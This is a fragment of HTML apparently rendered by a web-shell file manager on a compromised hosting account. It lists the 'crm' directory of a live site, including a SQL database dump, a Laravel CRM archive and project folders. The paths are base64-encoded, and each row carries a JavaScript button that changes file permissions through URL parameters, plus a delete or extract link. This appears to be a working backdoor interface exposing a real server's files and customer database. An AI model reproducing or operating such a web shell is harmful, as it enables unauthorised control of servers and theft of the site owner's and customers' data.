href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Y3JtX2RiICgyKS5zcWw="/>crm_db (2).sql</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Y3JtX2RiICgyKS5zcWw=&c=`+btoa(c):0" value="0644"></td><td>18307</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL2RhdGFiYXNl"/>database</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=ZGF0YWJhc2U=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&x=aXZjcm0tbGFyYXZlbC56aXA=">X</a></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=aXZjcm0tbGFyYXZlbC56aXA="/>ivcrm-laravel.zip</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=aXZjcm0tbGFyYXZlbC56aXA=&c=`+btoa(c):0" value="0644"></td><td>121936041</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL2xhbmc="/>lang</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=bGFuZw==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL3B1YmxpYw=="/>public</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=cHVibGlj&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL3Jlc291cmNlcw=="/>resources</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=cmVzb3VyY2Vz&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL3JvdXRlcw=="/>routes</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=cm91dGVz&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL3N0b3JhZ2U="/>storage</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=c3RvcmFnZQ==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL3Rlc3Rz"/>tests</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=dGVzdHM=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL3ZlbmRvcg=="/>vendor</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=dmVuZG9y&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>